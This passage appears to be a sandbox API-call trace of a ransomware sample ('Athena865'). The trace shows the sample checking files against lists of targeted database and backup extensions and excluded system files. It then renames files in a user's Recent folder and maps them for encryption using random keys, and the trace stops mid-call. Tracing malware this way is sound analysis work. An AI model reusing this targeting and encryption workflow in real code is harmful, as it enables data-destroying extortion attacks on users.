1 [0102.438] lstrlenW (lpString="jet") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0102.438] lstrlenW (lpString="jtx") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0102.438] lstrlenW (lpString="kdb") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0102.438] lstrlenW (lpString="kexi") returned 4 [0102.438] lstrcmpiW (lpString1="s-ms", lpString2="kexi") returned 1 [0102.438] lstrlenW (lpString="kexic") returned 5 [0102.438] lstrcmpiW (lpString1="ns-ms", lpString2="kexic") returned 1 [0102.438] lstrlenW (lpString="kexis") returned 5 [0102.438] lstrcmpiW (lpString1="ns-ms", lpString2="kexis") returned 1 [0102.438] lstrlenW (lpString="lgc") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1 [0102.438] lstrlenW (lpString="lwx") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0102.438] lstrlenW (lpString="maf") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0102.438] lstrlenW (lpString="maq") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0102.438] lstrlenW (lpString="mar") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0102.438] lstrlenW (lpString="marshal") returned 7 [0102.438] lstrcmpiW (lpString1="ions-ms", lpString2="marshal") returned -1 [0102.439] lstrlenW (lpString="mas") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0102.439] lstrlenW (lpString="mav") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0102.439] lstrlenW (lpString="maw") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0102.439] lstrlenW (lpString="mdbhtml") returned 7 [0102.439] lstrcmpiW (lpString1="ions-ms", lpString2="mdbhtml") returned -1 [0102.439] lstrlenW (lpString="mdn") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0102.439] lstrlenW (lpString="mdt") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0102.439] lstrlenW (lpString="mfd") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0102.439] lstrlenW (lpString="mpd") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0102.439] lstrlenW (lpString="mrg") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0102.439] lstrlenW (lpString="mud") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0102.439] lstrlenW (lpString="mwb") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0102.439] lstrlenW (lpString="myd") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0102.439] lstrlenW (lpString="ndf") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0102.439] lstrlenW (lpString="nnt") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0102.439] lstrlenW (lpString="nrmlib") returned 6 [0102.439] lstrcmpiW (lpString1="ons-ms", lpString2="nrmlib") returned 1 [0102.439] lstrlenW (lpString="ns2") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0102.439] lstrlenW (lpString="ns3") returned 3 [0102.439] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0102.440] lstrlenW (lpString="ns4") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0102.440] lstrlenW (lpString="nsf") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0102.440] lstrlenW (lpString="nv") returned 2 [0102.440] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0102.440] lstrlenW (lpString="nv2") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0102.440] lstrlenW (lpString="nwdb") returned 4 [0102.440] lstrcmpiW (lpString1="s-ms", lpString2="nwdb") returned 1 [0102.440] lstrlenW (lpString="nyf") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0102.440] lstrlenW (lpString="odb") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0102.440] lstrlenW (lpString="odb") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0102.440] lstrlenW (lpString="oqy") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0102.440] lstrlenW (lpString="ora") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0102.440] lstrlenW (lpString="orx") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0102.440] lstrlenW (lpString="owc") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0102.440] lstrlenW (lpString="p96") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0102.440] lstrlenW (lpString="p97") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0102.440] lstrlenW (lpString="pan") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0102.440] lstrlenW (lpString="pdb") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0102.440] lstrlenW (lpString="pdm") returned 3 [0102.440] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0102.441] lstrlenW (lpString="pnz") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0102.441] lstrlenW (lpString="qry") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0102.441] lstrlenW (lpString="qvd") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0102.441] lstrlenW (lpString="rbf") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0102.441] lstrlenW (lpString="rctd") returned 4 [0102.441] lstrcmpiW (lpString1="s-ms", lpString2="rctd") returned 1 [0102.441] lstrlenW (lpString="rod") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0102.441] lstrlenW (lpString="rodx") returned 4 [0102.441] lstrcmpiW (lpString1="s-ms", lpString2="rodx") returned 1 [0102.441] lstrlenW (lpString="rpd") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0102.441] lstrlenW (lpString="rsd") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0102.441] lstrlenW (lpString="sas7bdat") returned 8 [0102.441] lstrcmpiW (lpString1="tions-ms", lpString2="sas7bdat") returned 1 [0102.441] lstrlenW (lpString="sbf") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0102.441] lstrlenW (lpString="scx") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0102.441] lstrlenW (lpString="sdb") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0102.441] lstrlenW (lpString="sdc") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0102.441] lstrlenW (lpString="sdf") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0102.441] lstrlenW (lpString="sis") returned 3 [0102.441] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0102.442] lstrlenW (lpString="spq") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0102.442] lstrlenW (lpString="te") returned 2 [0102.442] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0102.442] lstrlenW (lpString="teacher") returned 7 [0102.442] lstrcmpiW (lpString1="ions-ms", lpString2="teacher") returned -1 [0102.442] lstrlenW (lpString="tmd") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0102.442] lstrlenW (lpString="tps") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0102.442] lstrlenW (lpString="trc") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0102.442] lstrlenW (lpString="trc") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0102.442] lstrlenW (lpString="trm") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0102.442] lstrlenW (lpString="udb") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0102.442] lstrlenW (lpString="udl") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0102.442] lstrlenW (lpString="usr") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0102.442] lstrlenW (lpString="v12") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0102.442] lstrlenW (lpString="vis") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0102.442] lstrlenW (lpString="vpd") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0102.442] lstrlenW (lpString="vvv") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0102.442] lstrlenW (lpString="wdb") returned 3 [0102.442] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0102.443] lstrlenW (lpString="wmdb") returned 4 [0102.443] lstrcmpiW (lpString1="s-ms", lpString2="wmdb") returned -1 [0102.443] lstrlenW (lpString="wrk") returned 3 [0102.443] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0102.443] lstrlenW (lpString="xdb") returned 3 [0102.443] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0102.443] lstrlenW (lpString="xld") returned 3 [0102.443] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0102.443] lstrlenW (lpString="xmlff") returned 5 [0102.443] lstrcmpiW (lpString1="ns-ms", lpString2="xmlff") returned -1 [0102.443] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.Athena865") returned 121 [0102.443] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.444] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.445] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24) returned 1 [0102.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.445] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.446] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.446] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.446] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x17c [0102.451] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000 [0102.453] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.453] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.453] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.454] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.454] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.454] CloseHandle (hObject=0x17c) returned 1 [0102.454] CloseHandle (hObject=0x154) returned 1 [0102.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.455] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bfd60, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0xcbe116e0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcbe116e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2=".") returned 1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="..") returned 1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="windows") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="bootmgr") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="temp") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="boot") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="ids.txt") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="perflogs") returned -1 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2="MSBuild") returned -1 [0102.455] lstrlenW (lpString="590aee7bdd69b59b.customDestinations-ms") returned 38 [0102.455] lstrcpyW (in: lpString1=0x241e8da, lpString2="590aee7bdd69b59b.customDestinations-ms" | out: lpString1="590aee7bdd69b59b.customDestinations-ms") returned="590aee7bdd69b59b.customDestinations-ms" [0102.455] lstrlenW (lpString="590aee7bdd69b59b.customDestinations-ms") returned 38 [0102.455] lstrlenW (lpString="Athena865") returned 9 [0102.455] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.455] lstrlenW (lpString=".dll") returned 4 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2=".dll") returned 1 [0102.455] lstrlenW (lpString=".lnk") returned 4 [0102.455] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2=".lnk") returned 1 [0102.456] lstrlenW (lpString=".ini") returned 4 [0102.456] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2=".ini") returned 1 [0102.456] lstrlenW (lpString=".sys") returned 4 [0102.456] lstrcmpiW (lpString1="590aee7bdd69b59b.customDestinations-ms", lpString2=".sys") returned 1 [0102.456] lstrlenW (lpString="590aee7bdd69b59b.customDestinations-ms") returned 38 [0102.456] lstrlenW (lpString="bak") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0102.456] lstrlenW (lpString="ba_") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0102.456] lstrlenW (lpString="dbb") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0102.456] lstrlenW (lpString="vmdk") returned 4 [0102.456] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0102.456] lstrlenW (lpString="rar") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0102.456] lstrlenW (lpString="zip") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0102.456] lstrlenW (lpString="tgz") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0102.456] lstrlenW (lpString="vbox") returned 4 [0102.456] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0102.456] lstrlenW (lpString="vdi") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0102.456] lstrlenW (lpString="vhd") returned 3 [0102.456] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0102.456] lstrlenW (lpString="vhdx") returned 4 [0102.456] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0102.456] lstrlenW (lpString="avhd") returned 4 [0102.456] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0102.456] lstrlenW (lpString="db") returned 2 [0102.456] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0102.457] lstrlenW (lpString="db2") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0102.457] lstrlenW (lpString="db3") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0102.457] lstrlenW (lpString="dbf") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0102.457] lstrlenW (lpString="mdf") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0102.457] lstrlenW (lpString="mdb") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0102.457] lstrlenW (lpString="sql") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0102.457] lstrlenW (lpString="sqlite") returned 6 [0102.457] lstrcmpiW (lpString1="ons-ms", lpString2="sqlite") returned -1 [0102.457] lstrlenW (lpString="sqlite3") returned 7 [0102.457] lstrcmpiW (lpString1="ions-ms", lpString2="sqlite3") returned -1 [0102.457] lstrlenW (lpString="sqlitedb") returned 8 [0102.457] lstrcmpiW (lpString1="tions-ms", lpString2="sqlitedb") returned 1 [0102.457] lstrlenW (lpString="xml") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0102.457] lstrlenW (lpString="$er") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0102.457] lstrlenW (lpString="4dd") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0102.457] lstrlenW (lpString="4dl") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0102.457] lstrlenW (lpString="^^^") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0102.457] lstrlenW (lpString="abs") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0102.457] lstrlenW (lpString="abx") returned 3 [0102.457] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0102.458] lstrlenW (lpString="accdb") returned 5 [0102.458] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0102.458] lstrlenW (lpString="accdc") returned 5 [0102.458] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0102.458] lstrlenW (lpString="accde") returned 5 [0102.458] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0102.458] lstrlenW (lpString="accdr") returned 5 [0102.458] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0102.458] lstrlenW (lpString="accdt") returned 5 [0102.458] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0102.458] lstrlenW (lpString="accdw") returned 5 [0102.458] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0102.458] lstrlenW (lpString="accft") returned 5 [0102.458] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0102.458] lstrlenW (lpString="adb") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.458] lstrlenW (lpString="adb") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.458] lstrlenW (lpString="ade") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0102.458] lstrlenW (lpString="adf") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0102.458] lstrlenW (lpString="adn") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0102.458] lstrlenW (lpString="adp") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0102.458] lstrlenW (lpString="alf") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0102.458] lstrlenW (lpString="ask") returned 3 [0102.458] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0102.458] lstrlenW (lpString="btr") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0102.459] lstrlenW (lpString="cat") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0102.459] lstrlenW (lpString="cdb") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0102.459] lstrlenW (lpString="ckp") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0102.459] lstrlenW (lpString="cma") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0102.459] lstrlenW (lpString="cpd") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0102.459] lstrlenW (lpString="dacpac") returned 6 [0102.459] lstrcmpiW (lpString1="ons-ms", lpString2="dacpac") returned 1 [0102.459] lstrlenW (lpString="dad") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0102.459] lstrlenW (lpString="dadiagrams") returned 10 [0102.459] lstrcmpiW (lpString1="nations-ms", lpString2="dadiagrams") returned 1 [0102.459] lstrlenW (lpString="daschema") returned 8 [0102.459] lstrcmpiW (lpString1="tions-ms", lpString2="daschema") returned 1 [0102.459] lstrlenW (lpString="db-journal") returned 10 [0102.459] lstrcmpiW (lpString1="nations-ms", lpString2="db-journal") returned 1 [0102.459] lstrlenW (lpString="db-shm") returned 6 [0102.459] lstrcmpiW (lpString1="ons-ms", lpString2="db-shm") returned 1 [0102.459] lstrlenW (lpString="db-wal") returned 6 [0102.459] lstrcmpiW (lpString1="ons-ms", lpString2="db-wal") returned 1 [0102.459] lstrlenW (lpString="dbc") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0102.459] lstrlenW (lpString="dbs") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0102.459] lstrlenW (lpString="dbt") returned 3 [0102.459] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0102.459] lstrlenW (lpString="dbv") returned 3 [0102.460] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0102.460] lstrlenW (lpString="dbx") returned 3 [0102.460] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0102.460] lstrlenW (lpString="dcb") returned 3 [0102.460] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0102.460] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.Athena865") returned 121 [0102.460] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.461] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\590aee7bdd69b59b.customdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.462] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8040) returned 1 [0102.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.462] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.463] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.463] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.463] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2270, lpName=0x0) returned 0x17c [0102.465] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2270) returned 0x100000 [0102.466] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.467] CryptGenRandom (in: 